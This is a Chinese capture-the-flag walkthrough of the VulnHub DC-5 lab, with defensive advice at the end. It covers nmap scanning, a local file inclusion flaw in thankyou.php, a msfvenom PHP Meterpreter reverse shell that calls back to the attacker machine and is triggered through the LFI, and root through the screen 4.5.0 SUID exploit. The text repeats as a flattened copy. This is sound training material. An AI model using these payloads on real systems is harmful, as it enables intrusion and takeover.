VnlnHub DC-5
字数 1160 2025-08-06 08:34:54

DC-5 靶场渗透测试教学文档

靶场概述

DC-5 是一个专为网络安全学习设计的虚拟靶场环境,包含一个需要获取root权限才能找到flag的Linux系统。本教学将详细讲解从信息收集到最终提权的完整渗透测试过程。

靶场搭建

  1. 下载镜像:从FreeBuf下载.OVA格式的镜像文件
  2. 导入虚拟机:使用VMware直接导入.OVA文件
  3. 网络配置
    • 选择NAT网络模式
    • 确保攻击机(Kali Linux)与靶机在同一网段

信息收集阶段

1. 网络扫描

nmap -sP -T4 192.168.48.0/24
  • 扫描整个C类网段
  • 发现靶机IP为192.168.48.142

2. 端口扫描与服务识别

nmap -sS -p 1-65535 -A 192.168.48.142

扫描结果:

  • 80端口:HTTP服务
  • 111端口:RPC服务
  • 56805端口:RPC服务

Web应用渗透

1. 初步访问

访问 http://192.168.48.142,检查网站功能:

  • 留言板功能
  • 页面底部有动态变化的内容

2. 目录扫描

发现敏感目录:

http://192.168.48.142/footer.php

3. 文件包含漏洞发现

观察发现:

  • thankyou.php 可能包含 footer.php
  • 存在本地文件包含(LFI)漏洞的可能性

4. 爆破包含参数

使用Burp Suite爆破发现:

  • 包含参数为 file
  • 验证为Linux系统

爆破出日志文件路径:

/var/log/nginx/error.log
/var/log/nginx/access.log

权限提升

1. 初始访问

尝试通过日志文件注入Webshell未果,改为上传MSF马:

  1. 生成PHP Meterpreter payload:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.48.136 lport=4444 -f raw > 1.php
  1. 上传到靶机的 /tmp 目录(唯一可写目录)

  2. 设置监听:

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.48.136
exploit
  1. 触发payload:
http://192.168.48.142/thankyou.php?file=/tmp/1.php

2. 获取完整shell

Meterpreter会话不稳定,获取完整shell:

python -c 'import pty;pty.spawn("/bin/bash")'

3. SUID提权

  1. 查找具有SUID权限的可执行文件:
find / -perm -4000 2>/dev/null

发现 screen-4.5.0 存在漏洞

  1. 查找相关漏洞:
searchsploit screen 4.5.0

发现本地提权漏洞(CVE-2017-5618)

  1. 利用步骤:
    • 创建三个文件:
      • libhax.c
      • rootshell.c
      • 1.sh
    • 编译:
      gcc -fPIC -shared -ldl -o libhax.so libhax.c
      gcc -o rootshell rootshell.c
      
    • 上传到靶机 /tmp 目录
    • 执行:
      cd /tmp
      chmod +x 1.sh
      ./1.sh
      

获取Flag

提权成功后:

cd /root
cat thisistheflag.txt

关键知识点总结

  1. 信息收集:Nmap扫描、目录爆破
  2. 漏洞发现:文件包含漏洞识别与利用
  3. 权限维持:MSF马生成与使用
  4. 权限提升
    • SUID权限识别
    • 已知漏洞利用(screen-4.5.0)
    • 交叉编译与上传攻击载荷

防御建议

  1. 文件包含漏洞

    • 避免动态包含用户可控的文件路径
    • 使用白名单限制可包含的文件
  2. 权限控制

    • 最小权限原则
    • 定期检查SUID/SGID文件
  3. 服务安全

    • 及时更新存在漏洞的软件
    • 限制日志文件的写入权限
  4. 系统加固

    • 限制/tmp目录的可执行权限
    • 使用SELinux/AppArmor等安全模块

通过本靶场的学习,可以掌握从Web应用到系统层的完整渗透测试流程,特别是文件包含漏洞的利用和SUID提权技术。

DC-5 靶场渗透测试教学文档 靶场概述 DC-5 是一个专为网络安全学习设计的虚拟靶场环境,包含一个需要获取root权限才能找到flag的Linux系统。本教学将详细讲解从信息收集到最终提权的完整渗透测试过程。 靶场搭建 下载镜像 :从FreeBuf下载.OVA格式的镜像文件 导入虚拟机 :使用VMware直接导入.OVA文件 网络配置 : 选择NAT网络模式 确保攻击机(Kali Linux)与靶机在同一网段 信息收集阶段 1. 网络扫描 扫描整个C类网段 发现靶机IP为192.168.48.142 2. 端口扫描与服务识别 扫描结果: 80端口:HTTP服务 111端口:RPC服务 56805端口:RPC服务 Web应用渗透 1. 初步访问 访问 http://192.168.48.142 ,检查网站功能: 留言板功能 页面底部有动态变化的内容 2. 目录扫描 发现敏感目录: 3. 文件包含漏洞发现 观察发现: thankyou.php 可能包含 footer.php 存在本地文件包含(LFI)漏洞的可能性 4. 爆破包含参数 使用Burp Suite爆破发现: 包含参数为 file 验证为Linux系统 爆破出日志文件路径: 权限提升 1. 初始访问 尝试通过日志文件注入Webshell未果,改为上传MSF马: 生成PHP Meterpreter payload: 上传到靶机的 /tmp 目录(唯一可写目录) 设置监听: 触发payload: 2. 获取完整shell Meterpreter会话不稳定,获取完整shell: 3. SUID提权 查找具有SUID权限的可执行文件: 发现 screen-4.5.0 存在漏洞 查找相关漏洞: 发现本地提权漏洞(CVE-2017-5618) 利用步骤: 创建三个文件: libhax.c rootshell.c 1.sh 编译: 上传到靶机 /tmp 目录 执行: 获取Flag 提权成功后: 关键知识点总结 信息收集 :Nmap扫描、目录爆破 漏洞发现 :文件包含漏洞识别与利用 权限维持 :MSF马生成与使用 权限提升 : SUID权限识别 已知漏洞利用(screen-4.5.0) 交叉编译与上传攻击载荷 防御建议 文件包含漏洞 : 避免动态包含用户可控的文件路径 使用白名单限制可包含的文件 权限控制 : 最小权限原则 定期检查SUID/SGID文件 服务安全 : 及时更新存在漏洞的软件 限制日志文件的写入权限 系统加固 : 限制/tmp目录的可执行权限 使用SELinux/AppArmor等安全模块 通过本靶场的学习,可以掌握从Web应用到系统层的完整渗透测试流程,特别是文件包含漏洞的利用和SUID提权技术。